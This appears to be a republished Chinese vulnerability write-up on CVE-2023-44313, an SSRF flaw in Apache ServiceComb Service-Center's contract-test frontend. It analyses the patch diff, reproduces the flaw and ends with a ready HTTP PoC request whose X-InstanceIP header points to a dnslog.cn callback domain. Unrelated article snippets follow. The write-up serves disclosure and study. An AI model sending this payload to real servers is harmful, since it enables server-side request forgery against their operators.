CVE-2023-44313 Apache ServiceComb Service-Center SSRF 漏洞研究

本次项目基于go语言(本人不精通),虽不是java web框架了 ,但搭建web服务的框架一些思想理念却是通用的,我们由此可以得到一些蛛丝马迹.......

目录

漏洞简介

漏洞分析

漏洞复现


漏洞简介

Apache ServiceComb Service-Center是Apache基金会的 一个基于 Restful 的服务注册中心,提供微服务发现和微服务管理。

在 ServiceComb Service-Center 中的 frontend 组件的契约测试功能存在SSRF漏洞,由于未验证请求instanceIP 参数,攻击者可构造恶意请求获取敏感服务器信息。

影响范围

Apache ServiceComb Service-Center < 2.2.0

安全版本

Apache ServiceComb Service-Center 2.2.0

解决建议

升级至安全版本及其以上

项目地址

GitHub - apache/servicecomb-service-center at a0e09e1f70e818d0bbc13f43238a876279808049

漏洞分析

定位文件frontend/schema/schemahandler.go

diff 比对修改添加的地方

两个版本都从header头中提取了参数 X-InstanceIP拼接http作为url,【左:2.1.0 右:2.2.0】

最后请求了该url,区别在于2.2.0版本 对X-InstanceIP做了函数检查。那这一定是漏洞触发点!

接下来思考! 如何进入路由处理函数?

搜索关键字 SchemaHandleFunc 寻找定义路由的地方

点进去查看

没错了就是我们想要的定义 现在开始构造payload进行漏洞复现

漏洞复现

下载源码 服务开起来

开启burp访问testSchema 路径 抓包

增加头部信息,打dnslog验证

X-InstanceIP: xxxx.dnslog.cn

查看dnslog状态

漏洞验证成功

参考阿里云漏洞库

附赠poc

GET /testSchema/ HTTP/1.1
Host: 127.0.0.1:30103
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
X-InstanceIP: p5pcss.dnslog.cn
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/699152.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【python基础学习2】python里和可迭代对象iterator相关的函数:zip(), map(), join() 函数和strip()方法等

目录 1 python里的可迭代对象 1.1 什么是可迭代对象 1.2 python里的可迭代对象 1.3 可迭代对象如何遍历 1.3.1 可迭代方法 1.3.2 迭代器的测试 2 zip()函数&#xff1a; 我愿理解zip()为一个矩阵横向和纵向两种组合方式转化 2.1 zip() 函数定义 2.2 zip()函数的效果 …

git 将一个分支的提交移动到另一个分支

假设想把分支A上的最后一部分commit移动到分支B之上&#xff1a; 首先切到分支B git checkout B然后执行如下指令,commit id 为A分支上&#xff0c;需要移动的那些提交 git cherry-pick <commit id> &#xff08; <commit id> 可多个&#xff09;中途可能遇到一些…

分布式场景怎么Join | 京东云技术团队

背景 最近在阅读查询优化器的论文&#xff0c;发现System R中对于Join操作的定义一般分为了两种&#xff0c;即嵌套循环、排序-合并联接。在原文中&#xff0c;更倾向使用排序-合并联接逻辑。 考虑到我的领域是在处理分库分表或者其他的分区模式&#xff0c;这让我开始不由得…

罗技鼠标滚轮模式介绍 | 鼠标滚轮异响 - 解决方案

滚轮模式介绍 针对罗技的滚轮模式进行介绍&#xff1a; 普通滚轮&#xff1a;滚动时有明显段落感&#xff0c;无法快速滚动。 智能滚轮&#xff1a;滚动力量较弱时&#xff0c;与普通滚轮无异&#xff1b;滚动力量大时&#xff0c;鼠标会自动减小滚轮阻尼&#xff0c;从而使滚…

文本编辑器markdown语法

markdown语法 1.介绍 Markdown是一种使用一定的语法将普通的文本转换成HTML标签文本的编辑语言&#xff0c;它的特点是可以使用普通的文本编辑器来编写&#xff0c;只需要按照特定的语法标记就可以得到丰富多样的HTML格式的文本。 2.标题分级 "# " -> 一级标题 &…

应用感知型网络性能管理

网络基础设施似乎日益复杂和先进&#xff0c;迫使网络管理员抛弃传统的管理方法。应用感知型网络性能管理是一种用于监控网络性能的新型整体方法&#xff0c;它为管理员提供了强大的 IT 资源管理功能。应用感知型网络性能管理为 IT 管理员带来了精细视图、动态资源分配、主动故…

【计网】TCP的三次握手四次挥手

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;JAVA ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 三次握手&#xff08;Connection Establishment&#xff09; 四次挥手&#xff08;Connection Termination&#xff09; 结语 我…

详解计算机病毒

1.1 计算机病毒的基本概念 1.1.1计算机病毒的定义 计算机病毒&#xff0c;是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据&#xff0c;影响计算机使用&#xff0c;并能自我复制的一组计算机指令或者程序代码 。 1.1.2计算机病毒的危害 (1) 占用系统空间。计算…

Linux lndir命令教程:创建符号链接的影子目录(附实例详解和注意事项)

Linux lndir命令介绍 lndir&#xff08;链接目录&#xff09;命令用于创建一个目录树的影子副本&#xff0c;但影子副本中并未填充真实的文件&#xff0c;而是填充了指向原目录树中真实文件的符号链接。这通常对于维护不同机器架构的源代码非常有用。 Linux lndir命令适用的L…

springboot-cache+redis 为指定名称缓存设置独立超时时间

版本 spring-boot: 3.2.2 方案 注册 RedisCacheManagerBuilderCustomizer Bean对指定名称缓存进行定制 Bean RedisCacheManagerBuilderCustomizer redisCacheManagerBuilderCustomizer() {return builder -> builder.withCacheConfiguration(// Cacheable 注解使用的cac…

Linux之权限管理

目录 一.chmod 二.ACL权限 2.1概述 2.2应用ACL权限 一.chmod chmod命令是控制用户对文件的权限的命令。 只有文件所有者和超级用户可以修改文件或目录的权限。 使用权限 : 所有使用者 语法: chmod [-cfvR] [--help] [--version] mode file... 参数说明&#xff1a; mode : …

前端学习——vue学习

文章目录 1. < el-form> 属性 model、prop、rules2. v-bind 与 v-model3. v-if 与 v-show4. v-for 循环语句5. 计算属性 computed6. 监视属性 watch7. 下拉框 el-select、el-option8. 自定义事件9. async与await实现异步调用 1. < el-form> 属性 model、prop、rule…

vue3的elementPlus中使用el-input控制用户输入正确金额,el-input-number遇到的一系列问题

今天在做项目的时候&#xff0c;本来顺顺利利就能上线&#xff0c;但是突然上面给了个任务&#xff0c;在输入框输入金额时&#xff0c;小数点后面位数超过三位就不能在输入了。当时我天真的以为这很好解决&#xff0c;接下来发生的事情让我措不及防。 首先&#xff0c;我原先使…

javaScript前端文件一致性校验-md5方法

需求背景&#xff1a;在处理文件上传时使用了第三方平台存储&#xff0c;后端在下载时需要校验与文件与上传时是否一致&#xff0c;已校验文件是否丢失的问题。如我们公司业务场景使用了分段上传&#xff0c;分段上传如果没有校验合并后的文件是否完整&#xff0c;可能会存在部…

Elasticsearch:基于 Langchain 的 Elasticsearch Agent 对文档的搜索

在今天的文章中&#xff0c;我们将重点介绍如何使用 LangChain 提供的基础设施在 Python 中构建 Elasticsearch agent。 该 agent 应允许用户以自然语言询问有关 Elasticsearch 集群中数据的问题。 Elasticsearch 是一个强大的搜索引擎&#xff0c;支持词法和向量搜索。 Elast…

121 Linux C++ 通讯架构实战 nginx源码学习目的,学习源码前期准备

零 nginx 源码学习的目的 把nginx中重要的&#xff0c;有用的&#xff0c;代码提取出来作为我们自己知识库的一部分&#xff0c;以备将来使用 一&#xff0c;nginx 源码在windows 上也可以下载下来。 我们下载下来&#xff0c;注意下载的是nginx 的 linux源码&#xff0c; 只…

项目管理:如何成功完成一个项目

项目管理是一项重要的技能&#xff0c;它可以帮助你成功地完成一个项目。以下是一些关键的步骤&#xff0c;可以帮助你实现这一目标&#xff1a; 1. 明确项目目标&#xff1a;在开始项目之前&#xff0c;你需要明确项目的目标。这将有助于你制定一个明确的计划&#xff0c;并确…

HDFS 之 Topology(Rack) Awareness - 机架感知

1、 简介 机架感知在大型分布式存储系统中非常实用,可以有效保证数据的高可用,同时提升集群稳定性。在HDFS中,也实现了类似Topology Awareness的机制,只不过是采用软件的方式模拟。 2、机架感知存在的意义 分布式存储系统的一个特殊之处在于其通常包含非常多的机器。Clie…

【目标航迹管理(1)】基于d-s证据理论信息融合的多核目标跟踪方法

1 引言&#xff1a;从航机起始方法开始 我们为什么会有这个议题&#xff1f;因为航机起始方法。 处理目标航迹起始的方法主要分为两大类&#xff1a;批处理和序贯。 在杂波密度比较高的环境下&#xff0c;比如有红外卫星或地面雷达监视区域&#xff0c;则选用批处理方法&…

【Spring】SpringBoot 单元测试

目 录 一.什么是单元测试&#xff1f;二.单元测试有哪些好处&#xff1f;三.Spring Boot 单元测试使用单元测试的实现步骤 一.什么是单元测试&#xff1f; 单元测试&#xff08;unit testing&#xff09;&#xff0c;是指对软件中的最小可测试单元进行检查和验证的过程就叫单元…